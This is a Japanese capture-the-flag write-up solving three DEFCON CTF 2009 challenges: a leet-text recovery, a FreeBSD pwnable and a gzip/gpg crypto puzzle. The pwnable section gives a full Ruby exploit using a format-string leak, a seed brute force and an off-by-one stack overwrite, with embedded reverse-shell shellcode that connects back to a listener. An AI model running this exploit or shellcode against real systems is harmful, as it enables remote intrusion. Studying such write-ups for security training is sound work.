(3r741n |>3f0rm41Ng5, 73h 5p34k3r-h3rr'5 l1n9ui$71( 1n7u11Ng 5uff1(35
.....
.....

:w recover.txt(別名でファイルを保存)

次に~426tmp.emfを見るとコマンドライン入力履歴に置換した後がある

// ~426tmp.emf
# Command Line History (newest to oldest):
:wq
:%s/thekey->//g
:%s/15/i$/g
:%s/710n/1Ng/g
:%s/n00b/N1nj4/g
:%s/455/A$$/g

recover.txt内で上記の逆の置換を行う

$ vi recover.txt
(0mp4r1n9 73h53 3><4mpl35 w17h 73h1r p4r45171( 94p (0un73rp4r75 1n (96)
& (97), w3 533 |>47 73h 5y573m471( u53 0f (0mpl3>< 5ym80l5 i$ n3(3554ry
70 1mp053 4n 1n73rpr3741Ng 0n 4 p4r45171( 94p (0n57ru(1Ng. 17 4pp34r5
|>47 73h 4pp34r4n(3 0f p4r45171( 94p5 1n |>0m41n5 r3l471\/3ly 1n4((35518l3
70 0r|>1n4ry 3><7r4(1Ng |>035 n07 4ff3(7 73h 57ru(7ur3 0f 73h 5y573m 0f
8453 rul35 3><(lu51\/3 0f 73h l3><1(0n. 8y (0m81n1n9 4|>jun(1Ng5 &
(3r741n |>3f0rm41Ng5, 73h 5p34k3r-h3rr'5 l1n9ui$71( 1n7u11Ng 5uff1(35
.....
.....

:%s/i$/15/g     (入力)
:%s/1Ng/710n/g  (入力)
:%s/N1nj4/n00b/g(入力)
:%s/A$$/455/g   (入力)

置換完了!
さらに~426tmp.emfを見るとマークした履歴がある

// ~426tmp.emf
# History of marks within files (newest to oldest):

> ~/findthekey
        "       44      0
        .       44      0
        +       11      0
        +       3       0
        +       2       0
        +       44      18

最後に44 - 18とあるので、44行目の18文字目と考えて
置換後のrecover.txtの44行目、18文字目を確認

$ cat -n recover.txt | more
...
    43  n07 r34|>1ly 70l3r473 n035n|>i$71n(7n355 1n 73h 53n53 0f |
    44  73h0ry. f0r 4ny 7r4n5f0rm4710n wh1(h i$ 5uff1(13n7ly |>1\/
    45  4ppl1(4710n 70 83 0f 4ny 1n73r357, 73h 73h0ry 0f 5yn74(71(

44行目の18文字目以降は"7r4n5f0rm4710n"となる
これを問題文にあるようにunl33tする(l33tをOFFにする)と
"Transformation"となり、これが答え

DEFCON CTF 2009 Pwtent 300

pwn23.ddtek.biz
http://shallweplayaga.me/pwnable/da6d6bf2e2058ec98f67bf6b0e608c79

まず何のファイルか確認

# file da6d6bf2e2058ec98f67bf6b0e608c79
da6d6bf2e2058ec98f67bf6b0e608c79: ELF 32-bit LSB executable, 
Intel 80386, version 1 (FreeBSD), for FreeBSD 7.2, 
dynamically linked (uses shared libs), FreeBSD-style, not stripped

IDAProで開く
not strippedなので読みやすい

.text:08048C80 main proc near
.text:08048C80
.text:08048C80 name   = dword ptr -30h
.text:08048C80 var_2C = dword ptr -2Ch
.text:08048C80 arg_0  = byte ptr  4
.text:08048C80
.text:08048C80     lea     ecx, [esp+arg_0]
.text:08048C84     and     esp, 0FFFFFFF0h
.text:08048C87     push    dword ptr [ecx-4]
.text:08048C8A     push    ebp
.text:08048C8B     mov     ebp, esp
.text:08048C8D     push    ecx
.text:08048C8E     sub     esp, 24h
.text:08048C91     movzx   eax, svc_port
.text:08048C98     cwde
.text:08048C99     mov     [esp+30h+name], eax
.text:08048C9C     call    init
.text:08048CA1     mov     [ebp-8], eax
.text:08048CA4     mov     [esp+30h+name], "pwn300"
.text:08048CAB     call    drop_privs_user
.text:08048CB0     mov     [esp+30h+var_2C], offset client_callback
.text:08048CB8     mov     eax, [ebp-8]
.text:08048CBB     mov     [esp+30h+name], eax
.text:08048CBE     call    loop
.text:08048CC3     mov     eax, 0
.text:08048CC8     add     esp, 24h
.text:08048CCB     pop     ecx
.text:08048CCC     pop     ebp
.text:08048CCD     lea     esp, [ecx-4]
.text:08048CD0     retn

これはサーバプログラム
svc_portが使用するポート→0E4Fh(3663)番
initはsocketからlistenまでを実行
drop_privs_userは実行ユーザーがpwn300かどうかを判別
loopはacceptとforkを実行し、forkされるのはclient_callback関数
よって実質的なサーバとしての処理はclient_callback
client_callbackがクライアントとのやり取りを行う
ポートが分かったので実行し、試しにncで接続

$ nc 172.17.0.1 3663
Mon Mar 16 08:23:16 2009
Press enter to continue:
AAAA(入力)
AA (出力)
BBBB(入力)

現在の時間と"Press enter to continue:"が出力される
AAAAという4バイトを入力すると最初の2バイトが出力
2度目の入力でBBBBを渡すと何も起こらず終了
client_callbackを解析

.text:08049550 client_callback proc near
.text:08049550
.text:08049550 var_14 = dword ptr -14h
.text:08049550 timer  = dword ptr -10h
.text:08049550 format = byte  ptr -0Ch
.text:08049550 var_A  = byte  ptr -0Ah
.text:08049550 var_9  = byte  ptr -9
.text:08049550 var_8  = dword ptr -8
.text:08049550 stream = dword ptr -4
.text:08049550 fd     = dword ptr  8
.text:08049550
.text:08049550     push    ebp
.text:08049551     mov     ebp, esp
.text:08049553     sub     esp, 28h
.text:08049556     mov     [ebp+var_8], 0
.text:0804955D     lea     eax, [ebp+timer]
.text:08049560     mov     [esp], eax
.text:08049563     call    _time
.text:08049568     lea     eax, [ebp+timer]
.text:0804956B     mov     [esp], eax
.text:0804956E     call    _ctime
.text:08049573     mov     [esp+8], eax
.text:08049577     mov     dword ptr [esp+4], offset aS ; "%s"
.text:0804957F     mov     eax, [ebp+fd]
.text:08049582     mov     [esp], eax
.text:08049585     call    sendFormat
.text:0804958A     call    get_random_int
.text:0804958F     mov     ds:global_canary, eax
.text:08049594     mov     eax, ds:global_canary
.text:08049599     mov     [esp], eax
.text:0804959C     call    _srand
.text:080495A1     call    _rand
.text:080495A6     mov     [ebp+var_8], eax
.text:080495A9     mov     dword ptr [esp+8], 0
.text:080495B1     mov     dword ptr [esp+4], "Press enter to continue: \n"
.text:080495B9     mov     eax, [ebp+fd]
.text:080495BC     mov     [esp], eax
.text:080495BF     call    sendMsg
.text:080495C4     mov     dword ptr [esp+0Ch], 0Ah
.text:080495CC     mov     dword ptr [esp+8], 4
.text:080495D4     lea     eax, [ebp+format]
.text:080495D7     mov     [esp+4], eax
.text:080495DB     mov     eax, [ebp+fd]
.text:080495DE     mov     [esp], eax
.text:080495E1     call    read_until_delim
.text:080495E6     test    eax, eax
.text:080495E8     jns     short loc_8049601
.text:080495EA     mov     eax, [ebp+fd]
.text:080495ED     mov     [esp], eax
.text:080495F0     call    _close
.text:080495F5     mov     [ebp+var_14], 0
.text:080495FC     jmp     loc_8049682

関数呼び出しの順番
time、ctime、sendFormat、get_random_int、srand、rand、sendMsg
そしてread_until_delimが呼ばれる
time、ctime、sendFormatで現在時間をクライアントへ送信
get_random_int、srand、randで乱数を生成

.text:0804958A     call    get_random_int
.text:0804958F     mov     ds:global_canary, eax
.text:08049594     mov     eax, ds:global_canary
.text:08049599     mov     [esp], eax
.text:0804959C     call    _srand
.text:080495A1     call    _rand
.text:080495A6     mov     [ebp+var_8], eax

get_random_intの戻り値をglobal_canaryに入れる
srand(global_canary)を実行後、randの戻り値をvar_8へ入れる
get_random_intは/dev/urandomから乱数を取得する関数

.text:08049390 get_random_int  proc near
.text:08049390
.text:08049390 buf = dword ptr -8
.text:08049390 fd  = dword ptr -4
.text:08049390
.text:08049390     push    ebp
.text:08049391     mov     ebp, esp
.text:08049393     sub     esp, 28h
.text:08049396     mov     dword ptr [esp+4], 0
.text:0804939E     mov     dword ptr [esp], "/dev/urandom"
.text:080493A5     call    _open
.text:080493AA     mov     [ebp+fd], eax
###########################################################
################## fd = open("/dev/urandom", 0);
###########################################################
.text:080493AD     mov     [ebp+buf], 0
.text:080493B4     cmp     [ebp+fd], 0
.text:080493B8     jns     short loc_80493FC
###########################################################
################## buf = 0;
################## if(fd >= 0)
##################     goto loc_80493FC;
###########################################################
.text:080493BA     mov     dword ptr [esp], 1
.text:080493C1     call    _exit
.text:080493C6
.text:080493C6 loc_80493C6:
.text:080493C6     mov     dword ptr [esp+8], 4
.text:080493CE     lea     eax, [ebp+buf]
.text:080493D1     mov     [esp+4], eax
.text:080493D5     mov     eax, [ebp+fd]
.text:080493D8     mov     [esp], eax
.text:080493DB     call    _read
###########################################################
################## eax = read(fd, &buf, 4);
###########################################################
.text:080493E0     cmp     eax, 4
.text:080493E3     jz      short loc_80493FC
###########################################################
################## if(eax == 4)
##################     goto loc_80493FC;
###########################################################
.text:080493E5     mov     eax, [ebp+fd]
.text:080493E8     mov     [esp], eax
.text:080493EB     call    _close
.text:080493F0     mov     dword ptr [esp], 1
.text:080493F7     call    _exit
.text:080493FC
.text:080493FC loc_80493FC:
.text:080493FC     mov     eax, [ebp+buf]
.text:080493FF     cmp     eax, 3
.text:08049402     jbe     short loc_80493C6
###########################################################
################## if(buf <= 3)
##################     goto loc_80493C6
###########################################################
.text:08049404     mov     eax, [ebp+fd]
.text:08049407     mov     [esp], eax
.text:0804940A     call    _close
.text:0804940F     mov     eax, [ebp+buf]
.text:08049412     shr     eax, 1
.text:08049414     leave
.text:08049415     retn
###########################################################
################## return (buf >> 1);
###########################################################

/dev/urandomから4バイト取得
最後に1ビット右シフトしているため乱数の範囲は0x04〜0x7FFFFFFF
global_canaryには0x04〜0x7FFFFFFFのいずれかの値が入る
var_8にはsrand(global_canary)後のrand()の戻り値が入る

global_canary = get_random_int(); // 0x04..0x7FFFFFFF
srand(global_canary);
var_8 = rand();

乱数を生成したら
次はsendMsgで"Press enter to continue: \n"をクライアントへ送信
そしてread_until_delimを呼び出し

.text:080495C4     mov     dword ptr [esp+0Ch], 0Ah
.text:080495CC     mov     dword ptr [esp+8], 4
.text:080495D4     lea     eax, [ebp+format]
.text:080495D7     mov     [esp+4], eax
.text:080495DB     mov     eax, [ebp+fd]
.text:080495DE     mov     [esp], eax
.text:080495E1     call    read_until_delim
###########################################################
################## read_until_delim(fd, var_0Ch, 4, 0x0a);
###########################################################
.text:080495E6     test    eax, eax
.text:080495E8     jns     short loc_8049601

read_until_delimに渡す引数は4つ
ソケットハンドル、取得データの格納先、最大サイズ、終端文字
クライアントからのデータに対して
終端文字が見つかる or 最大サイズに達する
という条件が満たされるまでrecvする
改行(0x0a)を使わなければ
var_0Ch(format)、var_0Bh、var_0Ah、var_09h
の4バイトにデータを入れることが可能
ただしvar_0Ah、var_09hは次の処理にて0x0Aと0x00に初期化される

.text:08049601 loc_8049601:
.text:08049601     mov     [ebp+var_A], 0Ah
.text:08049605     mov     [ebp+var_9], 0

よって実質2バイトのみ有効

.text:08049609     mov     dword ptr [esp+4], "r+"
.text:08049611     mov     eax, [ebp+fd]
.text:08049614     mov     [esp], eax
.text:08049617     call    _fdopen
.text:0804961C     mov     [ebp+stream], eax
.text:0804961F     cmp     [ebp+stream], 0
.text:08049623     jnz     short loc_8049631
###########################################################
################## stream = fdopen("r+");
################## if(stream != 0)
##################     goto loc_8049631;
###########################################################
.text:08049625     mov     dword ptr [esp], 1
.text:0804962C     call    _exit
.text:08049631
.text:08049631 loc_8049631:
.text:08049631     mov     eax, [ebp+var_8]
.text:08049634     mov     [esp+8], eax
.text:08049638     lea     eax, [ebp+format]
.text:0804963B     mov     [esp+4], eax
.text:0804963F     mov     eax, [ebp+stream]
.text:08049642     mov     [esp], eax
.text:08049645     call    _fprintf
.text:0804964A     mov     eax, [ebp+stream]
.text:0804964D     mov     [esp], eax
.text:08049650     call    _fflush
###########################################################
################## fprintf(stream, var_0Ch, var_8);
################## fflush(stream);
###########################################################
.text:08049655     mov     eax, [ebp+fd]
.text:08049658     mov     [esp], eax
.text:0804965B     call    handle_client
###########################################################
################## handle_client(fd);
###########################################################
.text:08049660     mov     eax, [ebp+stream]
.text:08049663     mov     [esp], eax
.text:08049666     call    _fclose
.text:0804966B     test    eax, eax
.text:0804966D     jz      short loc_804967B
###########################################################
################## if(fclose(stream) == 0)
##################     goto loc_804967B;
###########################################################
.text:0804966F     mov     dword ptr [esp], 1
.text:08049676     call    _exit
.text:0804967B
.text:0804967B loc_804967B:
.text:0804967B     mov     [ebp+var_14], 0
.text:08049682
.text:08049682 loc_8049682:
.text:08049682     mov     eax, [ebp+var_14]
.text:08049685     leave
.text:08049686     retn

fprintf関数に渡される2番目の引数はvar_0Ch、3番目はvar_8
var_0Chはクライアントからの入力値、var_8はrand()の戻り値
つまり"%x"を入れるとrandの戻り値が表示される

$ nc 172.17.0.100 3663
Mon Mar 16 08:51:42 2009
Press enter to continue:
%x
381c930a

randの戻り値からブルートフォースでglobal_canaryが取得できる

$ cat rand.c
#include <stdio.h>

int main(void)
{
    unsigned int i;
    for(i=4; i <= 0x7FFFFFFF; i++){
        srand(i);
        if(0x381C930A == rand()){
            printf("global_canary = %x\n", i);
            break;
        }
    }
    return 0;
}
$ gcc rand.c -o rand
$ time ./rand
global_canary = 1251cbd3
        5.48 real         5.44 user         0.00 sys

5秒程度でglobal_canaryを算出できた
次はhandle_client関数を見ていく

.text:08049420 handle_client   proc near
.text:08049420
.text:08049420 buff   = dword ptr -70h
.text:08049420 var_6C = byte ptr -6Ch
.text:08049420 var_6B = byte ptr -6Bh
.text:08049420 var_4  = dword ptr -4
.text:08049420 fd     = dword ptr  8
.text:08049420
.text:08049420     push    ebp
.text:08049421     mov     ebp, esp
.text:08049423     sub     esp, 88h
.text:08049429     mov     [ebp+var_6C], 64h
.text:0804942D     mov     [ebp+var_4], 30A0E82h
.text:08049434     mov     eax, [ebp+var_4]
.text:08049437     xor     eax, 804E7FFh
.text:0804943C     mov     [ebp+var_4], eax
###########################################################
################## var_6Ch = 100;
################## var_4 = 0x30A0E82 ^ 0x804E7FF;
###########################################################
.text:0804943F     mov     eax, ds:global_canary
.text:08049444     mov     [ebp+buff], eax
.text:08049447     mov     dword ptr [esp+8], 64h
.text:0804944F     mov     dword ptr [esp+4], 0
.text:08049457     lea     eax, [ebp+buff]
.text:0804945A     add     eax, 5
.text:0804945D     mov     [esp], eax
.text:08049460     call    _memset
###########################################################
################## var_70h = global_canary;
################## eax = var_6Bh(&var_70h+5);
################## memset(eax, 0, 100);
###########################################################
.text:08049465     mov     edi, eax
.text:08049467     jmp     short loc_8049485
.text:08049469
.text:08049469 loc_8049469:
.text:08049469     movzx   eax, [ebp+var_6C]
.text:0804946D     sub     eax, 1
.text:08049470     mov     [ebp+var_6C], al
.text:08049473     movzx   eax, [ebp+var_6C]
.text:08049477     movsx   edx, al
.text:0804947A     movzx   eax, ds:single_char
.text:08049481     mov     [ebp+edx+var_6B], al
.text:08049485
.text:08049485 loc_8049485:
.text:08049485     mov     eax, [ebp+fd]
.text:08049488     mov     [esp], eax
.text:0804948B     call    get_char
.text:08049490     mov     ds:single_char, al
.text:08049495     movzx   eax, ds:single_char
.text:0804949C     cmp     al, 0Ah
.text:0804949E     jz      short loc_80494A8
.text:080494A0     movzx   eax, [ebp+var_6C]
.text:080494A4     test    al, al
.text:080494A6     jns     short loc_8049469
###########################################################
################## goto loc_8049485;
################## while(1){
##################     var_6Ch--;
##################     *(var_6Ch + &var_6B) = single_char;
################## loc_8049485:
##################     single_char = get_char(fd);
##################     if(single_char == 0x0A)
##################         break;
##################     if(var_6Ch < 0)
##################         break;
################## }
###########################################################
.text:080494A8
.text:080494A8 loc_80494A8:
.text:080494A8     mov     eax, [ebp+buff]
.text:080494AB     mov     [esp], eax
.text:080494AE     call    _srand
.text:080494B3     call    _rand
.text:080494B8     mov     ds:rand1, eax
.text:080494BD     mov     eax, [ebp+var_4]
.text:080494C0     mov     [esp], eax
.text:080494C3     call    _srand
.text:080494C8     call    _rand
.text:080494CD     mov     ds:rand2, eax
###########################################################
################## srand(var_70h);  rand1 = rand();
################## srand(var_4);    rand2 = rand();
###########################################################
.text:080494D2     mov     edx, ds:rand1
.text:080494D8     mov     eax, ds:rand2
.text:080494DD     cmp     edx, eax
.text:080494DF     jnz     short loc_80494EB
###########################################################
################## if(rand1 != rand2)
##################     goto loc_80494EB; // exit(2)
###########################################################
.text:080494E1     mov     edx, [ebp+buff]
.text:080494E4     mov     eax, [ebp+var_4]
.text:080494E7     cmp     edx, eax
.text:080494E9     jnz     short locret_80494F7
###########################################################
################## if(var_70h != var_4)
##################     goto locret_80494F7; // return
###########################################################
.text:080494EB
.text:080494EB loc_80494EB:
.text:080494EB     mov     dword ptr [esp], 2
.text:080494F2     call    _exit
.text:080494F7
.text:080494F7 locret_80494F7:
.text:080494F7     leave
.text:080494F8     retn

まずoff by oneの脆弱性がひとつある

goto loc_8049485;
while(1){
    var_6Ch--;
    *(var_6Ch + &var_6B) = single_char;
loc_8049485:
    single_char = get_char(fd);
    if(single_char == 0x0A)
        break;
    if(var_6Ch < 0)
        break;
}

var_6Chは初期値0x64であるため、
1回目のループ時:var_8(0x63 + &var_6Bh) = single_char
2回目のループ時:var_9(0x62 + &var_6Bh) = single_char
3回目のループ時:var_Ah(0x61 + &var_6Bh) = single_char
....
0x63回目のループ時:var_6Ah(0x1 + &var_6Bh) = single_char
0x64回目のループ時:var_6Bh(0x0 + &var_6Bh) = single_char
この時点ですでに0x64バイト分終了(var_6Chは0x0である)
ここでloc_8049485以降を処理すると
var_6Chはまだ0であるためif(var_6Ch < 0)を満たさない
つまりbreakせず、再びwhileの先頭へ戻る
0x65回目のループ時:var_6Ch(-1 + &var_6Bh) = single_char
1バイトのオーバーフローによりvar_6Chが書き換え可能
このvar_6Chはchar型の最大値0x7Fまで設定可能
つまり(0x7F + &var_6Bh)まで書き換えできる

-0000000000000070 buff    dd ?
-000000000000006C var_6C  db ?
-000000000000006B var_6B  db ? ; (0x0 + &var_6Bh)
-000000000000006A         db ? ; (0x1 + &var_6Bh)
(省略)
-0000000000000008         db ? ; (0x63 + &var_6Bh)
-0000000000000007         db ? ; (0x64 + &var_6Bh)
-0000000000000006         db ? ; (0x65 + &var_6Bh)
-0000000000000005         db ? ; (0x66 + &var_6Bh)
-0000000000000004 var_4   dd ? ; (0x67 + &var_6Bh)
+0000000000000000  s      db 4 ; (0x6B-0x6F + &var_6Bh)
+0000000000000004  r      db 4 ; (0x6F-0x73 + &var_6Bh)
+0000000000000008 fd      dd ?

0x7F範囲内(0x6F-0x73)に関数のretアドレスがある
off by oneによりret書き換え可能、任意のshellcodeへ飛ばせる

srand(var_70h); // var_70h = global_canary
rand1 = rand(); 
srand(var_4);   // var_4 = 0x30A0E82 ^ 0x804E7FF
rand2 = rand();
if(rand1 != rand2)
    exit(2);
if(var_70h == var_4)
    exit(2);

exitを呼び出されたらretを書き換えても意味がない
正常に関数を終わらせるためには2つの条件をクリアする必要がある
1、rand1とrand2は同じにしなければならない
var_4は 0x30A0E82 ^ 0x804E7FF の固定値だが、
0x7F範囲内であるため書き換え可能
global_canaryは%xで取得したrand値からブルートフォースで取得可
2、global_canaryとvar_4は異ならなければならない
FreeBSDにおいては、乱数生成器の関係上、
srandに渡す種の差が0x7FFFFFFFあれば同じrand値を返す

$ cat rand2.c
#include <stdio.h>

int main(void)
{
    srand(0xFFFFFFF0);
    printf("%08x = ", rand());
    srand(0x7FFFFFF1);
    printf("%08x\n", rand());
    return 0;
}

$ gcc rand2.c -o rand2
$ ./rand2
7ffc68dd = 7ffc68dd

以上のことから以下のアタックフローを作成できる
(1)1度目の入力時に"%x"を入力しglobal_canaryのrand値を取得
(2)(1)のrand値からブルートフォースによりglobal_canaryを取得
(3)2度目の入力時に0x65バイトを送り、最後の1バイトを0x73にする
(4)off by oneにより再入力が発生
(5)var_4をglobal_canary + 0x7FFFFFFFの値に変更
(6)NOP + shellcode + var_4 + retを0x73の範囲に書き込み
(7)関数から抜けretに戻る際にshellcodeが実行される
まず、global_canaryを取得するプログラムをCで作成

$ cat get_global_canary.c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
    unsigned long i, n;

    if(argc < 2)
        return 1;
    n = strtoul(argv[1], NULL, 16);

    for(i=4; i <= 0x7FFFFFFF; i++){
        srand(i);
        if(n == rand()){
            printf("%x\n", (unsigned int)i);
            break;
        }
    }
    return 0;
}
$ gcc -Wall get_global_canary.c -o get_global_canary

続いてexploit本体(Rubyで作成)

$ cat exp.rb
#!/usr/bin/ruby

require "socket"

begin
    sock = TCPSocket.open(ARGV[0], 3663)
rescue
    puts "TCPSocket.open failed: #$!\n"
else
    print "RECV: " + sock.gets
    print "RECV: " + sock.gets

    ## send "%x" + LF
    f2byte = "%x\n"
    sock.write f2byte
    print "SEND: " + f2byte

    ## recv rand1
    rand1str = sock.gets
    rand1str.chomp!
    print "RECV: " + rand1str + "\n"
    rand1 = rand1str.hex

    ## calc global_canary
    global_canary_str = ""
    IO.popen("./get_global_canary 0x" + rand1str, "r+") do |io|
        global_canary_str = io.gets
        global_canary_str.chomp!
    end
    global_canary = global_canary_str.hex

    ## get val_4
    val_4 = global_canary + 0x7fffffff
    val_4_str = val_4.to_s(16)
    print "STAT: global_canary = " + global_canary_str + "\n"
    print "STAT: val_4         = " + val_4_str + "\n"

    ## send 0x65 bytes
    for i in 1..100
        sock.write "A"
    end
    sock.write "s" ## 0x73
    print "SEND: A*64 + 0x73\n"

    ## send 0x73 bytes
    ## <LF 1b><NOP 32b><shell 70b><var_4><ebp><ret>
    addr = ARGV[1].split(".").collect{|c| c.to_i}.pack("C4")
    port = [ARGV[2].to_i].pack("n")
    ## LF 1byte
    shell = "\x0a"
    ## NOP 32byte
    for i in 1..32
        shell += "\x90"
    end
    ## shell 70byte
    shell += "\x03\xe5" ## add esp,ebp
    shell += "\x6a\x61\x58\x99\x52\x42\x52\x42"
    shell += "\x52\x68"   + addr +   "\xcd\x80"
    shell += "\x68\x10\x02"+port+"\x89\xe1\x6a"
    shell += "\x10\x51\x50\x51\x97\x6a\x62\x58"
    shell += "\xcd\x80\x6a\x02\x59\xb0\x5a\x51"
    shell += "\x57\x51\xcd\x80\x49\x79\xf6\x50"
    shell += "\x68\x2f\x2f\x73\x68\x68\x2f\x62"
    shell += "\x69\x6e\x89\xe3\x50\x54\x53\x53"
    shell += "\xb0\x3b\xcd\x80"
    ## var_4 + ebp + ret
    shell += [val_4].pack("L")        ## val_4
    shell += "\x00\x10\x00\x00"       ## ebp
    shell += [ARGV[3].hex].pack("L")  ## ret
    sock.write shell.unpack("C*").reverse.collect{|c| c.to_i}.pack("C*")
    print "SEND: <LF 1b><NOP 32b><shell 70b><var_4><ebp><ret>\n"

    sock.close()
end

172.17.0.100で問題ファイルを実行
reverse shellを使うため適当なマシンを用意してポート待ち受け

// Ubuntu Linux (172.17.11.226)
$ nc -lvp 7777
listening on [any] 7777 ...

続いてexploitを実行
引数は<ターゲットIP> <接続先IP> <接続先ポート>

$ ruby exp.rb 172.17.0.100 172.17.11.226 7777 bfbfebde
RECV: Tue Apr 20 01:20:59 2010
RECV: Press enter to continue:
SEND: %x
RECV: 16ff2ac1
(数秒ウェイト)
STAT: global_canary = 4f080308
STAT: val_4         = cf080307
SEND: A*64 + 0x73
SEND: <LF 1b><NOP 32b><shell 70b><var_4><ebp><ret>

shellcodeがうまく実行されれば
172.17.0.100から172.17.11.226:7777へconnectが行く

// Ubuntu Linux (172.17.11.226)
$ nc -lvp 7777
listening on [any] 7777 ...
172.17.0.100: inverse host lookup failed: Unknown host
connect to [172.17.11.226] from (UNKNOWN) [172.17.0.100] 49180
ls(入力)
da6d6bf2e2058ec98f67bf6b0e608c79
KEY
cat KEY
$Hey: @tlas has this hours ago$

shell取得完了
KEYファイルの中にパスワードがある
"$Hey: @tlas has this hours ago$"が答え

DEFCON CTF 2009 Crypto 300

If your gang's pretty good, you'll work your way in.
http://shallweplayaga.me/crypto/354d8654372c0e5fff66803da7d9dfed

まず何のファイルか確認

$ file 354d8654372c0e5fff66803da7d9dfed
354d8654372c0e5fff66803da7d9dfed: tcpdump capture file 
(little-endian) - version 2.4 (Ethernet, capture length 65535)

パケットファイルなのでwiresharkで確認するとHTTP通信が行われている
HTTPヘッダが特殊で "Content-Length: \r\n\t159\r\n" という感じ
RFC的には2行目以降の行の先頭にタブを入れれば複数行にまたがるヘッダもOK

$ hexdump -C 354d8654372c0e5fff66803da7d9dfed
00001510  20 17 50 f5 16 65 6e 74  2d 4c 65 6e 67 74 68 3a  | .P..ent-Length:|
00001520  0d 0a 09 31 35 39 0d 0a  43 6f 6e 6e 65 63 74 69  |...159..Connecti|
00001530  6f 6e 3a 0d 0a 09 63 6c  6f 73 65 0d 0a 0d 0a 1f  |on:...close.....|
00001540  8b 08 00 7b 07 20 4a 02  03 01 88 00 77 ff 1f 8b  |...{. J.....w...|

サーバから159バイトのデータが送られているので取り出す

$ hexdump -C data
00000000  1f 8b 08 00 7b 07 20 4a  02 03 01 88 00 77 ff 1f  |....{. J.....w..|
00000010  8b 08 18 32 02 20 4a 00  03 73 70 6f 6f 6e 00 d5  |...2. J..spoon..|
00000020  c4 84 31 1e 49 4a 8f 94  5a 9b 77 c3 49 df 94 00  |..1.IJ..Z.w.I...|
00000030  01 5a 00 a5 ff 8c 0d 04  03 03 02 d1 da e6 68 76  |.Z............hv|
00000040  56 41 34 60 c9 49 73 cb  86 35 89 d7 bf 58 ab 5b  |VA4`.Is..5...X.[|
00000050  a2 40 fb b8 70 73 91 82  44 bc f7 d1 9a a3 29 09  |.@..ps..D.....).|
00000060  53 2c 0c 48 4e d6 da 04  23 d3 0a 24 b8 3a eb b1  |S,.HN...#..$.:..|
00000070  76 86 c1 5f b1 da cf af  a3 67 04 72 6a ea 45 10  |v.._.....g.rj.E.|
00000080  45 f9 29 e3 a2 a7 63 e9  41 b4 e2 b2 a7 7b 47 f5  |E.)...c.A....{G.|
00000090  6d 28 cf 5a 00 00 00 06  ed 23 a6 88 00 00 00     |m(.Z.....#.....|
$ file data
data: gzip compressed data, from Unix, 
last modified: Sat May 30 01:04:11 2009, max compression

送られているのはgzipで圧縮されたファイル
gzipで展開する

$ mv data data.gz
$ gzip -d data.gz
$ file data
data: gzip compressed data, was "spoon", has comment, 
from Unix, comment, last modified: Sat May 30 00:41:38 2009

展開したら再びgzipで圧縮されたファイルとなる
今度はファイル名"spoon"、コメント有、らしい
GZIPファイルフォーマット
http://www.gzip.org/zlib/rfc-gzip.html

$ hexdump -C data
00000000  1f 8b 08 18 32 02 20 4a  00 03 73 70 6f 6f 6e 00  |....2. J..spoon.|
00000010  d5 c4 84 31 1e 49 4a 8f  94 5a 9b 77 c3 49 df 94  |...1.IJ..Z.w.I..|
00000020  00 01 5a 00 a5 ff 8c 0d  04 03 03 02 d1 da e6 68  |..Z............h|

ファイル名:73 70 6f 6f 6e(spoon)
コメント :d5 c4 84 31 1e 49 4a 8f 94 5a 9b 77 c3 49 df 94
再び展開する

$ cp data spoon.gz
$ gzip -d spoon.gz
$ file spoon
spoon: data
$ hexdump -C spoon
00000000  8c 0d 04 03 03 02 d1 da  e6 68 76 56 41 34 60 c9  |.........hvVA4`.|
00000010  49 73 cb 86 35 89 d7 bf  58 ab 5b a2 40 fb b8 70  |Is..5...X.[.@..p|
00000020  73 91 82 44 bc f7 d1 9a  a3 29 09 53 2c 0c 48 4e  |s..D.....).S,.HN|
00000030  d6 da 04 23 d3 0a 24 b8  3a eb b1 76 86 c1 5f b1  |...#..$.:..v.._.|
00000040  da cf af a3 67 04 72 6a  ea 45 10 45 f9 29 e3 a2  |....g.rj.E.E.)..|
00000050  a7 63 e9 41 b4 e2 b2 a7  7b 47                    |.c.A....{G|
0000005a

展開したらただのデータ列
暗号の問題(Crypto 300)であるため暗号文だと推測
gpgに渡してみる

$ gpg spoon
gpg: CAST5暗号化済みデータ
パスフレーズを入力:
gpg: 1 個のパスフレーズで暗号化
gpg: 復号に失敗しました: 鍵が不正です

復号にはパスワードが必要
コメントに謎のデータ列があったためそれを使用
パスワードに"d5c484311e494a8f945a9b77c349df94"を入力

$ gpg spoon
gpg: CAST5暗号化済みデータ
gpg: 1 個のパスフレーズで暗号化
gpg: spoon: 未知の拡張子
新しいファイル名を入力してください [spoon]: spoon2
gpg: 警告: メッセージの完全性は保護されていません
$ cat spoon2
The eggs are not a lie.  NOT A LIE.
The eggs are not a lie.  NOT A LIE.
The eggs are not a lie.  NOT A LIE.
....

この"The eggs are not a lie. NOT A LIE."が答え